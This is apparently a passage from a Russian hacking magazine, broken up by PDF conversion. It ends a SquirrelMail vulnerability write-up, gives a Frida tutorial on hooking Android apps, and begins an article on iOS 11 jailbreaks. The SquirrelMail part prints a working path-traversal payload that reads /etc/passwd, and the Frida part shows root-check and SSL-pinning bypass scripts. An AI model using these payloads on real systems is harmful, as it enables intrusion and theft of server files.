1827:         $deliver‐>mail($composeMessage, $stream, $reply_id, $
reply_ent_id);
1828:         $succes = $deliver‐>finalizeStream($stream);
1829:     }

/class/deliver/Deliver.class.php
075:     function mail(&$message, $stream=false, $reply_id=0, $reply_
ent_id=0,
076:                   $imap_stream=NULL, $extra=NULL) {
...
138:         $this‐>send_mail($message, $header, $boundary, $stream, 
$raw_length, $extra);

Да лее он выпол няет вызов  .send_mail

/class/deliver/Deliver.class.php
167:     function send_mail($message, $header, $boundary, $stream=
false,
168:                        &$raw_length, $extra=NULL) {
169:
170:         if ($stream) {
171:             $this‐>preWriteToStream($header);
172:             $this‐>writeToStream($stream, $header);
173:         }
174:         $this‐>writeBody($message, $stream, $raw_length, $
boundary);
175:     }

Вы пол нение  перехо дит  к  методу  ,  который  отправ ляет  тело  соз‐ 
данно го  сооб щения,  в  том  чис ле  и  прик реплен ные  фай лы.  Тут  логика  ана‐ 
логич на  уда лению:  если  ука зано  свой ство  ,  то  оно  исполь‐ 
зует ся в качес тве име ни фай ла, толь ко на этот раз для чте ния из вре мен ной
дирек тории с атта чами.

writeBody

att_local_name

/class/deliver/Deliver.class.php
338:             } elseif ($message‐>att_local_name) {
339:                 global $username, $attachment_dir;
340:                 $hashed_attachment_dir = getHashedDir($username,
$attachment_dir);

341:                 $filename = $message‐>att_local_name;
342:                 $file = fopen ($hashed_attachment_dir . '/' . $
filename, 'rb');
343:                 
344:                 while ($tmp = fread($file, 570)) {
...
356:                 fclose($file);
357:             }

По это му, манипу лируя  , мы можем отправ лять себе на поч ту
локаль ные фай лы с сер вера, дос тупные для чте ния.

att_local_name

Пе рех ватим  зап рос  с  отправ кой  сооб щения  и  ука жем 
в качес тве атта ча.

/etc/passwd

...s:14:"att_local_name";s:24:"../../../../../etc/passwd";}}

Из менен ный зап рос на отправ ку пись ма в SquirrelMail

Не обя затель но  даже  дожидать ся  дос тавки  пись ма  или  вооб ще  отправ лять
его  на  валид ный  адрес,  что бы  про читать  файл.  Дос таточ но  пос ле  нажатия
кноп ки «Отпра вить» перей ти в раз дел Sent, где хра нят ся копии отправ ленных
писем. Затем открыть нуж ное и заг рузить тре буемый аттач с помощью кноп ки

.Download

Чте ние про изволь ных фай лов в SquirrelMail

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Увы, даже нас толь ко прос тые уяз вимос ти могут лег ко оста вать ся незаме чен‐ 
ными на про тяже нии мно гих лет. В дан ной ситу ации удив ляет ско рее без дей‐ 
ствие  коман ды  раз работ чиков  SquirrelMail.  Такие  воз можнос ти,  как  чте ние
и  уда ление  про изволь ных  фай лов  в  сис теме,  вряд  ли  мож но  счи тать  секь‐ 
юрной фичей. Я все же наде юсь, что патч,  который испра вит этот досад ный
баг, вый дет в бли жай шее вре мя и оче ред ной про дукт ста нет чуточ ку безопас‐ 
нее.

https://xakep.ru/2017/08/25/processmaker-php-vuln/
https://vimeo.com/261082897
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ВЗЛОМ

Ког да мы говорим о взло ме и модифи кации чужих при ложе‐ 
ний,  то  чаще  все го  под разуме ваем  исполь зование  деком‐ 
пилято ра, дизас сем бле ра и отладчи ка. Но есть инс тру мент,
который работа ет совер шенно ина че. Это Frida, тул кит, поз‐ 
воля ющий  внед рить ся  в  про цесс  и  перепи сать  его  час ти
на язы ке JavaScript.

НЕМНОГО СЛОВОБЛУДИЯ
Пред ставь, что тебе в руки попал семпл мал вари. Ты запус каешь его в эму‐ 
лято ре  и  пыта ешь ся  про ана лизи ровать  поведе ние.  Но  ока зыва ется,  что
в  эму лято ре  он  работа ет  сов сем  не  так,  как  на  реаль ном  устрой стве,
и  никакой  подоз ритель ной  активнос ти  не  про явля ет:  мал варь  уме ет  опре‐ 
делять, что находит ся в эму лиру емой сре де.

Ты  об  этом  догады ваешь ся  и  поэто му  реша ешь  запус тить  мал варь
под дебаг гером (пред варитель но рас паковав злов ред и добавив строч ку 

  в  ),  что бы  опре делить,
как  имен но  мал варь  про изво дит  про вер ку  на  эму лятор.  И  сно ва  проб лема:
она  уме ет  опре делять,  что  работа ет  под  отладчи ком,  и  прос то  пада ет
при  запус ке.  Сле дующий  шаг:  ста тичес кий  ана лиз  кода  с  помощью  деком‐ 
пилято ра  и  дизас сем бле ра,  прав ка  с  целью  вырезать  кус ки,  про веря ющие
наличие  отладчи ка  и  эму лиру емой  сре ды,  сно ва  прав ка  кода  по  при чине
ошиб ки и все в таком духе.

an‐
droid:debuggable="true" AndroidManifest.xml

А  теперь  пред ставь,  что  у  тебя  есть  инс тру мент,  поз воля ющий  пря мо
во вре мя работы при ложе ния отклю чить все эти про вер ки, прос то перепи сав
про вероч ные  фун кции  на  JavaScript.  Никаких  дизас сем блер ных  лис тингов
smali,  никаких  пра вок  низ коуров невого  кода,  никаких  перес борок  при ложе‐ 
ния;  ты прос то под клю чаешь ся  к  работа юще му при ложе нию,  находишь нуж‐ 
ную фун кцию и перепи сыва ешь ее тело. Недур но, не так ли?

FRIDA
Frida — это так называ емый Dinamic Instrumentation Toolkit, то есть набор инс‐ 
тру мен тов,  поз воля ющих  на  лету  внед рять  собс твен ный  код  в  дру гие  при‐ 
ложе ния. Бли жай шие ана логи Frida — это зна мени тый Cydia Substrate для iOS
и Xposed Framework для Android,  те самые фрей мвор ки, бла года ря  которым
появи лись тви ки. Frida отли чает ся от них тем, что нацеле на на быс трую прав ку
кода в режиме реаль ного вре мени. Отсю да и язык JavaScript вмес то Objec‐
tive‐C  или  Java,  и  отсутс твие  необ ходимос ти  упа ковы вать  «тви ки»  в  нас‐ 
тоящие  при ложе ния.  Ты  прос то  под клю чаешь ся  к  про цес су  и  меня ешь  его
поведе ние,  исполь зуя  инте рак тивную  JS‐кон соль  (ну  или  отда ешь  коман ду
на заг рузку ранее написан ного скрип та).

Frida уме ет работать с при ложе ниями, написан ными для всех популяр ных
ОС, вклю чая Windows, Linux, macOS,  iOS и даже QNX. Мы же будем исполь‐ 
зовать ее для модифи кации при ложе ний под Android.

Итак, что тебе нуж но:
1. Ма шина под управле нием Linux. Мож но и Windows, но, ког да занима ешь ся
пен тестом при ложе ний для Android, луч ше исполь зовать Linux.

2. Ус танов ленный  adb.  В  Ubuntu/Debian/Mint  уста нав лива ется  коман дой
.sudo aptget install adb

3. Ру тован ный смар тфон или эму лятор на базе Android 4.2 и выше. Frida уме‐ 
ет работать и на неруто ван ном, но для это го тебе при дет ся модифи циро‐ 
вать APK подопыт ного при ложе ния. Это прос то неудоб но.

Для начала уста новим Frida:

$ sudo pip install frida

Да лее  ска чаем сер вер  Frida,  который необ ходимо  уста новить  на  смар тфон.
Сер вер мож но  най ти  на  ,  его  вер сия  дол жна  точ но  сов падать  с  вер‐ 
сией  Frida,  которую  мы  уста нови ли  на  комп.  На  момент  написа ния  статьи
это была 10.6.55. Ска чива ем:

GitHub

$ cd ~/Downloads
$ wget https://github.com/frida/frida/releases/download/10.6.55/
frida‐server‐10.6.55‐android‐arm.xz
$ unxz frida‐server‐10.6.55‐android‐arm.xz

Под клю чаем  смар тфон  к  ком пу,  вклю чаем  отладку  по  USB  (Нас трой ки →
Для раз работ чиков → Отладка по USB) и закиды ваем сер вер на смар тфон:

$ adb push frida‐server‐10.6.55‐android‐arm /data/local/tmp/
frida‐server

Те перь  заходим  на  смар тфон  с  помощью  ,  выс тавля ем  нуж ные
пра ва на сер вер и запус каем его:

adb  shell

$ adb shell
> su
> cd /data/local/tmp
> chmod 755 frida‐server
> ./frida‐server

ПЕРВЫЕ ШАГИ
Ок, Frida  уста нов лена на  комп,  сер вер запущен на смар тфо не  (не  зак рывай
тер минал с запущен ным сер вером). Теперь надо про верить, все ли работа ет
как надо. Для это го вос поль зуем ся коман дой  :frida‐ps

$ frida‐ps ‐U

Ко ман да дол жна вывес ти все про цес сы, запущен ные на смар тфо не (флаг 
озна чает  USB,  без  него  Frida  выведет  спи сок  про цес сов  на  локаль ной
машине).  Если  ты  видишь  этот  спи сок,  зна чит,  все  хорошо  и  мож но  прис‐ 
тупать к более инте рес ным вещам.

‐U

Для  начала  поп робу ем  выпол нить  трас сиров ку  сис темных  вызовов.  Frida
поз воля ет  отсле дить  обра щения  к  любым  натив ным фун кци ям,  в  том  чис ле
сис темные вызовы ядра Linux. Для при мера возь мем сис темный вызов 
, который исполь зует ся для откры тия фай лов на чте ние и/или запись. Запус‐ 
тим трас сиров ку Телег рама:

open(
)

$ frida‐trace ‐i "open" ‐U org.telegram.messenger

Возь ми телефон и нем ного потыкай интерфейс Телег рама. На экран дол жны
посыпать ся сооб щения при мер но сле дующе го содер жания:

open(pathname="/data/user/0/org.telegram.messenger/shared_prefs/
userconfing.xml", flags=0x241)

Эта  стро ка  озна чает,  что  Телег рам  открыл  файл    внут ри
катало га    в сво ем при ват ном катало ге. Каталог 
в Android исполь зует ся для хра нения нас тро ек, поэто му нет рудно догадать ся,
что  файл    содер жит  нас трой ки  при ложе ния.  Еще  одна 

userconfig.xml
shared_prefs shared_prefs

userconfig.xml
строка:

open(pathname="/storage/emulated/0/Android/data/org.telegram.messen
ger/cache/223023676_121163.jpg", flags=0x0)

Здесь все еще про ще. Телег рам агрессив но кеширу ет заг ружен ные дан ные,
поэто му для отоб ражения кар тинки он взял ее из кеша.

open(pathname="/data/user/0/org.telegram.messenger/shared_prefs/
stats.xml", flags=0x241)

Еще один файл в катало ге  . Судя по все му, какая‐то ста тис тика
исполь зования.

shared_prefs

open(pathname="/dev/ashmem", flags=0x2)

Выг лядит стран но, не так ли? На самом деле все прос то. Файл 
вир туаль ный, он исполь зует ся для обме на дан ными меж ду про цес сами и сис‐ 
темой с помощью IPC‐механиз ма Binder. Про ще говоря, эта стро ка озна чает,
что Телег рам обра тил ся к Android, что бы выпол нить какую‐то сис темную фун‐ 
кцию или получить информа цию. Такие стро ки мож но сме ло про пус кать.

/dev/ashmem

ПИШЕМ КОД
Мы можем перех ватывать  обра щения  к  любым дру гим  сис темным вызовам,
нап ример  ,  который  исполь зует ся  для  под клю чения  к  уда лен ным
хос там:

connect()

$ frida‐trace ‐i "connect" ‐U com.yandex.browser

Но вывод в дан ном слу чае будет не осо бо информа тив ным:

2028 ms  connect(sockfd=0x90, addr=0x94e86374, addrlen=0x6e)
2034 ms  connect(sockfd=0x90, addr=0x94e86374, addrlen=0x6e)

При чина в том, что вто рой аргу мент сис темно го вызова   — это ука‐ 
затель на струк туру  .  Frida не  уме ет ее пар сить и поэто му выводит
адрес учас тка памяти, в которой хра нит ся эта струк тура. Но! Мы можем изме‐ 
нить код, который выпол няет Frida при перех вате сис темно го вызова или фун‐ 
кции. А это зна чит, что мы можем про пар сить   сами!

connect()
sockaddr

sockaddr
Ког да ты запус кал коман ду  , то навер няка заметил при мер но

такую стро ку:
frida‐trace

connect: Auto‐generated handler at "/home/j1m/__handlers__/libc.so/
connect.js"

Это авто мати чес ки сге нери рован ный код хука, который Frida выпол няет, ког‐ 
да  подопыт ное  при ложе ние  обра щает ся  к  ука зан ной  фун кции.  Имен но  он
ответс тве нен  за вывод  тех мало информа тив ных строк,  которые мы  уви дели.
По умол чанию код выг лядит так:

onEnter: function (log, args, state) {
   log("connect(" +
       "sockfd=" + args[0] +
       ", addr=" + args[1] +
       ", addrlen=" + args[2] +
   ")");
},

Вид но,  что  хук  прос то  выводит  вто рой  аргу мент  как  есть.  Но мы  зна ем,  что
вто рой аргу мент сис темно го вызова   — это ука затель на струк туру
sockaddr, то есть прос то адрес в памяти. Сама струк тура sockaddr име ет сле‐ 
дующий вид:

connect()

struct sockaddr {
   unsigned short    sa_family;    // address family, AF_xxx
   char              sa_data[14];  // 14 bytes of protocol address
};

А в слу чае с сокета ми типа AF_INET, которые нам и нуж ны, такой:

struct sockaddr_in {
   short            sin_family;   // e.g. AF_INET, AF_INET6
   unsigned short   sin_port;     // e.g. htons(3490)
   struct in_addr   sin_addr;     // see struct in_addr, below
   char             sin_zero[8];  // zero this if you want to
};
struct in_addr {
   unsigned long s_addr;          // load with inet_pton()
};

То есть сам IP‐адрес находит ся в этой струк туре по сме щению 4 бай та (short
sin_family + unsigned short sin_port) и занима ет 8 байт (unsigned long). Это зна‐ 
чит,  что  нам  нуж но  добавить  к  исходно му  адре су  4,  затем  про читать  8  байт
по получен ному адре су и про пар сить их, что бы получить тек сто вый  IP‐адрес
с точ ками. Сде лаем это, заменив изна чаль ный хук таким:

onEnter: function (log, args, state) {
   var addr = args[1].add("4")
   var ip = Memory.readULong(addr)
   var ipString = [ip & 0xFF, ip >>> 8 & 0xFF, ip >>> 16 & 0xFF, ip 
>>> 24].join('.')
   log("connect(" +
       "sockfd=" + args[0] +
       ", addr=" + ipString +
       ", addrlen=" + args[2] +
   ")");
},

Об рати вни мание, что мы пар сим адрес, начиная с кон ца, то есть раз ворачи‐ 
ваем  его.  Это  необ ходимо,  так  как  все  сов ремен ные  про цес соры  ARM
исполь зуют  little‐endian  порядок  бай тов.  Так же  обра ти  вни мание  на  класс

 и метод  , это час ти  .Memory add() API Frida
Сох раня ем файл и вновь запус каем  :frida‐trace

connect(sockfd=0xbb, addr=173.194.222.139, addrlen=0x10)
connect(sockfd=0xba, addr=74.125.205.94, addrlen=0x10)

Ву аля. Прав да, есть один нюанс. Так как наш код не уме ет раз личать сокеты
типа AF_UNIX, AF_INET и AF_INET6 и все их интер пре тиру ет как AF_INET, иног‐ 
да  он  будет  выводить  несущес тву ющие  адре са.  То  есть  он  будет  пытать ся
пар сить имя фай ла сокета AF_UNIX и выводить его как IP (или пытать ся вывес‐ 
ти IPv6‐адрес как адрес IPv4). Отбра ковать такие адре са очень лег ко, обыч но
они идут под ряд и час то пов торя ются. В моем слу чае это был адрес 

.
101.118.

47.115

ВНЕДРЯЕМСЯ
Ко неч но  же,  воз можнос ти  Frida  гораз до  шире,  чем  перех ват  обра щений
к натив ным фун кци ям и сис темным вызовам. Если мы взгля нем на упо минав‐ 
ший ся API  Frida,  то  уви дим,  что  в  нем есть  объ ект  Java. С его  помощью мы
можем перех ватывать обра щения к любым Java‐объ ектам и методам, а зна‐ 
чит,  изме нить  прак тичес ки  любой  аспект  поведе ния  любого  при ложе ния
для Android (в том чис ле написан ного на Kotlin).

Нач нем с прос того — поп робу ем узнать обо всех заг ружен ных в при ложе‐ 
ние  клас сах.  Соз дай  новый  файл  (пусть  он  называ ется  )
и добавь в него сле дующие стро ки:

enumerate.js

Java.perform(function() {
   Java.enumerateLoadedClasses({
       onMatch: function(className) {
           console.log(className);
       },
       onComplete: function() {}
   });
});

Это очень прос той код. Сна чала мы вызыва ем метод  , озна‐ 
чающий,  что  мы  хотим  под клю чить ся  к  вир туаль ной  машине  Java  (или
Dalvik/ART  в  слу чае  Android).  Далее  мы  вызыва ем  метод 

  и  переда ем  ему  два  кол бэка:    будет  выпол нен
при «обна руже нии» клас са,   — в самом кон це  (как вид но, нам
этот кол бэк не нужен, и мы оставля ем его пус тым).

Java.perform()

Java.enumerate‐
LoadedClasses() onMatch()

onComplete()

За пус каем:

$ frida ‐U ‐l enumerate.js org.telegram.messenger

И  видим  на  экра не  длин ный,  кажущий ся  бес конеч ным  спи сок  клас сов,
некото рые из них — часть самого при ложе ния,  но подав ляющее боль шинс‐ 
тво  —  стан дар тные  клас сы  фрей мвор ка  Android  (Android  заг ружа ет  весь
фрей мворк в каж дый про цесс в режиме copy‐on‐write).

На самом деле нам этот спи сок не осо бо инте ресен. Нам ного инте рес нее
то,  что в любой из этих  клас сов мож но внед рить свой  код, а если быть  точ‐ 
ным — перепи сать тело любого метода любого из этих клас сов. Для при мера
возь мем такой код:

Java.perform(function () {
   var Activity = Java.use("android.app.Activity");
   Activity.onResume.implementation = function () {
       console.log("onResume() got called!");
       this.onResume();
   };
});

Сна чала  мы  исполь зуем  ,  что бы  получить  объ ект‐обер тку
для работы с клас сом  . Затем мы перепи сыва ем его
метод  , вызывая в кон це ори гиналь ный метод ( ).

Java.use()
android.app.Activity

onResume() this.onResume
Те, кто зна ком с раз работ кой при ложе ний для Android, дол жны знать, что

класс   пред назна чен для соз дания «экра нов» при ложе ния. Он име ет
мно жес тво методов, один из которых называ ется  . На самом деле
это кол бэк, который вызыва ется во вре мя соз дания экра на, а так же при воз‐ 
вра те на него.

Activity
onResume()

Ес ли  ты  заг рузишь  дан ный  скрипт  во  Frida,  запус тишь  Телег рам,  затем
вый дешь из него,  затем сно ва откро ешь,  то заметишь,  что при каж дом воз‐ 
вра те в Телег рам в тер минале будет появ лять ся сооб щение «onResume() got
called!».

Точ но таким же обра зом мы можем перех ватывать нажатия на кноп ки:

Java.perform(function () {
   MainActivity.onClick.implementation = function (v) {
       consle.log('onClick');
       this.onClick(v);
   }
});

А вот при мер логиро вания всех URL, к которым обра щает ся при ложе ние:

Java.perform(function() {
   var httpclient = Java.use("com.squareup.okhttp.v_1_5_1.OkHttp
Client");
   httpclient.open.overload("java.net.URL").implementation = 
function(url) {
       console.log("request url:");
       console.log(url.toString());
       return this.open(url);
   }
});

В  дан ном  слу чае  мы  внед ряем ся  в  очень  популяр ную  биб лиоте ку  OkHttp
и  перепи сыва ем  ее  метод  .  Осталь ное  дол жно  быть
ясно.

okHttpClient.open()

Frida CodeShare
У  Frida  есть  офи циаль ный  репози торий  скрип тов,  в  котором  мож но  най ти
такие полез ности, как   — ком плексный скрипт, поз воля ющий отклю‐ 
чить про вер ки на root,   — обход SSL Pin‐
ning,    —  при мер  кода,  который  реали зует  пол ноцен ное
диало говое окно Android на JavaScript.

fridantiroot
Universal Android SSL Pinning Bypass

Alert  On  MainActivity

Лю бой из этих скрип тов мож но запус тить без пред варитель ного ска чива‐ 
ния с помощью такой коман ды:

$ frida ‐‐codeshare dzonerzy/fridantiroot ‐U ‐f com.example.vulnapp

ЛОМАЕМ CRACKME
А теперь давай поп робу ем взло мать что‐то реаль ное. На прос торах интерне‐ 
та  мож но  най ти  мно жес тво  раз ных  CrackMe.  Возь мем  .
Точ нее,  пер вый  из  пяти  опуб ликован ных  в  дан ном  репози тории.  Crackme‐
one.apk  записы вает  файл  в  свой  при ват ный  каталог,  а  наша  задача  —
вытащить содер жимое это го фай ла. Сра зу ска жу, что сущес тву ет мас са спо‐ 
собов сде лать это за двад цать секунд, но в то же вре мя это хороший при мер,
что бы понять, как работать с Frida.

пер вый  попав ший ся

Итак, ска чива ем и уста нав лива ем при ложе ние:

$ wget https://www.dropbox.com/s/mrjnme2xiv45j4g/crackme‐one.apk
$ adb install crackme‐one.apk

Нам пред лага ют нажать кноп ку для записи фай ла либо ввес ти ответ для про‐ 
вер ки.  Оче вид но,  что бы  взло мать  этот  CrackMe,  мы  дол жны  перех ватить
управле ние  в  момент  записи  фай ла.  Но  как  это  сде лать?  На  самом  деле
очень прос то. Боль шинс тво при ложе ний для Android исполь зуют для записи
дан ных  либо  класс  ,  либо  класс 

.  У  каж дого  из  них  есть  метод  ,  который  и  отве чает
за запись фай ла. Нам необ ходимо лишь под менить его на свою реали зацию
и вывес ти на экран пер вый аргу мент, который содер жит либо мас сив бай тов,
либо стро ку:

java.io.OutputStream java.io.Output‐
StreamWriter write()

Java.perform(function () {
   var os = Java.use("java.io.OutputStreamWriter");
   os.write.overload('java.lang.String', 'int', 'int').implem
entation = function (string, off, len) {
       console.log(string)
       this.write(string, off, len);
   };
});

За пус каем:

$ frida ‐U ‐f com.reoky.crackme.challengeone ‐l outputstream_write.
js ‐‐no‐pause

Ву аля, на экра не появ ляет ся стро ка

poorly‐protected‐secret

От мечу три момен та:
1. В  этот  раз  мы  исполь зовали  метод  ,  так  как  класс  Output‐
StreamWriter  реали зует  сра зу  три метода write()  с  раз ным  набором  аргу‐ 
мен тов.

overload()

2. Мы  исполь зовали  опцию  ,  которая  нуж на,  если  мы  хотим
выпол нить  холод ный  старт  при ложе ния  и  при  этом  не  хотим,  что бы  Frida
оста нови ла при ложе ние в самом начале.

nopause

3. На  самом  деле  взло мать  этот CraсkMe мож но  было  бы,  прос то  перей дя
в  его  при ват ный  каталог  и  про читав  файл  (это  воз можно,  так  как  у  нас
рутован ный смар тфон) либо путем деком пиляции при ложе ния (текст лежит
в  откры том  виде).  Здесь,  одна ко,  есть  нюанс:  если  бы  CrackMe  хра нил
стро ку  в  зашиф рован ном  виде  и  рас шифро вывал  ее  толь ко
перед записью, деком пиляция была бы бес полез на (ну, по край ней мере
до  тех пор,  пока  ты не извлек бы  ключ шиф рования и не написал скрипт
рас шифров ки).

Из влечь стро ку мож но было и с помощью деком пилято ра

ВЫВОДЫ
Frida  —  очень  мощ ный  инс тру мент,  с  помощью  которо го  мож но  сде лать
с подопыт ным при ложе нием прак тичес ки все, что угод но. Но это инс тру мент
не для всех, он тре бует зна ния JavaScript, понима ния прин ципов работы An‐
droid  и  при ложе ний  для  него.  Так  что,  если  ты  рядовой  скрипт‐кид ди,  тебе
оста ется  доволь ство вать ся  авто мати зиро ван ными  инс тру мен тами,  соз‐ 
данны ми на осно ве Frida, нап ример  .appmon

mailto:zobnin@glc.ru
https://github.com/frida/frida/releases
https://www.frida.re/docs/javascript-api/
https://codeshare.frida.re/@dzonerzy/fridantiroot/
https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
https://codeshare.frida.re/@realgam3/alert-on-mainactivity/
https://github.com/reoky/android-crackme-challenge
https://github.com/dpnishant/appmon


НОВОЕ
ПОКОЛЕНИЕ

ДЖЕЙЛБРЕЙКА
КАК ВЗЛОМАТЬ  ,
ЧЕМ ЭТО ГРОЗИТ
И КАК РАБОТАЕТ НОВЫЙ
МЕТОД ВЗЛОМА

IOS 11

Олег Афонин
Эксперт по мобильной

криминалистике компании
«Элкомсофт»

aoleg@voicecallcentral.com

ВЗЛОМ

В кон це прош лого года спе циалист Google Project Zero опуб‐ 
ликовал  экс пло ит  для  уяз вимос ти,  при сутс тву ющей  во  всех
вер сиях iOS 10 и 11 вплоть до 11.1.2. На горизон те зама ячи‐ 
ла  соб лазни тель ная  воз можность  джей лбрей ка.  Нас коль ко
оправда лись  ожи дания  любите лей  взло ма  устрой ств?  Чем
гро зит  сущес тво вание  уяз вимос ти  (и  работос пособ ных
джей лбрей ков)  обыч ным  поль зовате лям  и  чем  она  может
быть полез на для хакеров? Поп робу ем разоб рать ся.

ПРИ ЧЕМ ЗДЕСЬ GOOGLE?
В  сооб щес тве  джей лбрей керов  в  пос ледние  годы  дела  обсто ят  неваж но.
Во мно гом  это  свя зано  не  с  тем,  что  све жие  вер сии  опе раци онных  сис тем
как‐то осо бен но безопас ны,  а  с  тем,  какие день ги  пла тят  ком пании  за  най‐ 
ден ные ошиб ки. Новые уяз вимос ти най ти очень и очень неп росто, а ког да их
находят — чаще все го про дают самой Apple или охот никам за уяз вимос тями.
Соб лазн зарабо тать 50–100 тысяч дол ларов велик, и ред ко какие уяз вимос ти
ста новят ся дос тоянием общес твен ности.

И вот на сце не появ ляет ся Google — злей ший друг Apple. Да, Apple пла тит
огромные день ги за воз можность хра нить дан ные iCloud на сер верах Google
(напом ним, iCloud — это управля емая Apple ком бинация облачных сер веров,
при над лежащих  Google,  Microsoft,  Amazon  и  AT&T),  и  да,  Google  выпус кает
свой  софт  для  устрой ств  под  управле нием  iOS —  но  это  ничуть  не  меша ет
ком пании  пуб ликовать  информа цию  об  уяз вимос тях,  най ден ных  в  лабора‐ 
тории Google Project Zero.

Пос ледняя  най ден ная  уяз вимость  (о  ней  мы  уже  )  так же
обна руже на  сот рудни ком  лабора тории  Google  Йеном  Биром.  Уяз вимость,
наз ванная  tfp0  (про изводное  от  ),  поз волила  иссле дова‐ 
телю написать готовый код для эска лации при виле гий во всех вер сиях iOS 10,
некото рых вер сиях macOS и iOS 11.0–11.1.2.

рас ска зыва ли

task_for_pid(0)

Google сооб щила об уяз вимос ти в Apple, Apple выпус тила обновле ние iOS
11.2,  которое  зак рыло  уяз вимость.  Впос ледс твии  информа ция  о  ней
и готовый исходный код были опуб ликова ны.

Та кой  ход  со  сто роны Google  был  встре чен  неод нознач но  как  прос тыми
поль зовате лями, так и сооб щес твом джей лбрей керов. Мно гие поль зовате ли
пос читали,  что Google  переги бает  пал ку;  эта  точ ка  зре ния  не  лишена осно‐ 
ваний, осо бен но если вспом нить, что све дения об уяз вимос тях в ОС Microsoft
сот рудни ки Google Project Zero пуб ликова ли еще до того, как Microsoft успе‐ 
вала выпус тить зап латки.

Не однознач но  при няли  эту  новость  и  учас тни ки  сооб щес тва  джей лбрей‐ 
керов. Так, некото рые коман ды раз работ чиков выпус тили свои вер сии джей‐ 
лбрей ков, прос то исполь зовав готовый код — даже не попытав шись интегри‐ 
ровать  Cydia  (дос тупную  в  виде  исходных  кодов).  Джей  Фри мен  (saurik)
в  интервью  выс казал ся  откро вен но  негатив но  как  о  жела ющих  пос корее
выпус тить  сырые  джей лбрей ки  на  осно ве  готово го  кода  (получи те  и  рас‐ 
пишитесь!), так и о раз работ чиках, кри тику ющих Cydia.

Тем не менее  какими бы они ни были, но джей лбрей ки есть. Давай пос‐ 
мотрим,  как их  уста нав ливать и чем они отли чают ся меж ду собой. Но преж‐ 
де — вни матель но под готовим ся к про цеду ре взло ма.

ПОДГОТОВКА К ДЖЕЙЛБРЕЙКУ
По чему‐то прак тичес ки ниг де не рас смат рива ется про цесс, который дол жен
пред варять  уста нов ку  джей лбрей ка.  Меж ду  тем,  если  что‐то  пой дет  не  так,
воз можно, тебе при дет ся обновлять устрой ство на самую пос леднюю вер сию
iOS и вос ста нав ливать дан ные.

Итак, что нуж но про делать перед тем, как пытать ся взло мать устрой ство?
Прос то соз дай све жую резер вную копию дан ных при помощи iTunes. Обя‐ 

затель но  задай  пароль  на  резер вную  копию:  даже  если  ты  из  тех,  кому
«нечего  скры вать»,  наличие  пароля  на  бэкапе  поз волит  тебе  вос ста новить
все дан ные — в том чис ле и сох ранен ные пароли из связ ки клю чей keychain,
как  на  текущее  устрой ство,  так  и  на  дру гой  iPhone  или  iPad.  А  вот  если  ты
пароль  не  уста новишь,  то  все  клю чи  и  пароли  будут  зашиф рованы
при помощи аппа рат ного клю ча, в резуль тате чего вос ста новить такую резер‐ 
вную  копию в пол ном объ еме  ты смо жешь  толь ко на  тот же самый  телефон
или  план шет,  с  которо го  соз давал  резер вную  копию.  Если  что‐то  пой дет
не  так,  ты  всег да  смо жешь  вос ста новить  телефон  из  бэкапа  прак тичес ки
в том же виде, как и до джей лбрей ка.

А вот сох ранить бло бы SHSH2 тебе, к сожале нию, не удас тся: Apple прек‐ 
ратила  под писывать  все  про шив ки,  для  которых  дос тупны  джей лбрей ки.
Исклю чение — ста рый  iPhone 5 или 5c, для которо го дос тупна (и до сих пор
под писыва ется) iOS 10.3.3.

УСТАНОВКА
Все новые джей лбрей ки, осно ван ные на обна ружен ной в Google Project Zero
уяз вимос ти, уста нав лива ются совер шенно оди нако во. Впро чем, и уже сущес‐ 
тву ющие  джей лбрей ки  Yalu  уста нав лива ются  точ но  так  же.  Перечень  шагов
прос той.
1. Ска чива ем  IPA‐файл  джей лбрей ка  (ссыл ки —  ниже)  и  при ложе ние  Cydia
Impactor.

2. Под клю чаем  iPhone  к  компь юте ру  и  уста нав лива ем довери тель ные отно‐ 
шения,  под твер див  зап рос  «Trust  this  computer?»  (обра ти  вни мание:
для  iOS 11 на этом эта пе пот ребу ется ввес ти пароль бло киров ки устрой‐ 
ства; для iOS 10 пароль не тре бует ся).

3. За пус каем Cydia Impactor и перетас кива ем на него IPA‐файл джей лбрей ка.

4. Cydia  Impactor  зап росит  Apple  ID  и  пароль.  Вво дим  Apple  ID  и  пароль
от любой активной учет ной записи Apple (кста ти, зап росто мож но исполь‐ 
зовать новый, толь ко что соз данный акка унт).

5. IPA‐файл будет под писан (сер тификат дей ству ет все го семь дней!) и заг‐ 
ружен в устрой ство. На этом еще не все; для того что бы запус тить файл,
тебе нуж но будет под твер дить, что ты доверя ешь циф ровой под писи.

6. Что бы  под твер дить  доверен ность  циф ровой  под писи,  которой  ты  под‐ 
писал  IPA‐файл в момент его  заг рузки на  устрой ство,  зай ди  в  нас трой ки
Settings → General → Profiles → Profiles & Device management (если в сис‐ 
теме  уста нов лен рус ский  язык,  то  «Нас трой ки → Основные → Про фили»
или «Про фили и управле ние устрой ством»).

Об рати  вни мание:  для  того  что бы  под твер дить  доверен ный  ста тус  сер‐ 
тифика та,  тебе  при дет ся  раз решить  телефо ну  вый ти  в  интернет  (как
минимум — уста новить соеди нение с сер вером  ). Под робно
про цеду ра опи сана  .

ppq.apple.com
здесь

7. Толь ко пос ле это го ты смо жешь наконец запус тить сам джей лбрейк. Если
все прой дет успешно, телефон будет взло ман и ты получишь дос туп к фай‐ 
ловой сис теме устрой ства.

Даль нейшее  будет  зависеть  от  кон крет ного  джей лбрей ка.  Наличие  (и  воз‐ 
можность работы) Cydia, под дер жка Cydia Substrate, воз можность внед рения
кода, обход защиты от запус ка непод писан ных при ложе ний — все эти вещи
могут при сутс тво вать, а могут и не при сутс тво вать в раз ных ути литах.

Об щее  для  всех  джей лбрей ков  —  это  огра ничен ное  вре мя  их  работы.
Пос ле каж дой перезаг рузки устрой ства тебе при дет ся заново запус кать ути‐ 
литу джей лбрей ка на самом устрой стве, а раз в семь дней — пов торять весь
про цесс заново из‐за того, что срок дей ствия циф рового сер тифика та закон‐ 
чится. Исклю чение — наличие зарегис три рован ного акка унта для раз работ‐ 
чиков  или  кор поратив ного  акка унта  с  соот ветс тву ющим  Apple  ID;  впро чем,
исполь зовать  такие  акка унты  для  под писи  джей лбрей ка — дело  дос таточ но
рис кован ное.

УТИЛИТЫ ДЛЯ ВЗЛОМА IOS 10–11.1.2
Итак,  какие  джей лбрей ки  на  осно ве  опи сан ной  уяз вимос ти  есть  на  дан ный
